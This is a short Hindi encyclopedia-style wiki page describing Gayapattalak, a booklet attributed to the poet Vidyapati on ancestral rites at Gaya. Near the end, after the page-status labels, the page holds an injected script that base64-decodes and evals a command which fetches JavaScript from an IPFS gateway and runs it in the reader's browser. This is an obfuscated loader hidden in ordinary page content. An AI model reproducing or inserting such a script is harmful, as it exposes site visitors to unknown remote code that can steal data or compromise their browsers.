गयापत्तालक

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 10:35, 14 मई 2013 का अवतरण (Text replace - " खास " to " ख़ास ")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

गयापत्तालक महाकवि विद्यापति द्वारा रचिक एक धर्म ग्रंथ हैं।

  • यह ग्रन्थ महाकवि ने किसी ख़ास राजा या रानी के आदेश पर किसी का गुनगान करने के लिए नहीं लिखा है। बल्कि इसका सम्बन्ध सामान्य जनता से है।
  • स्मरणीय तथ्य यह है कि यहाँ सामान्य जनता से तात्पर्य हिन्दू जनता से है।
  • गया में श्राद्ध एवं पिण्डदान तथा गया जाकर पितृ ॠण से मुक्त होने से सम्बन्धित महात्म्य की यह लघु पुस्तिका है।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ


बाहरी कड़ियाँ

संबंधित लेख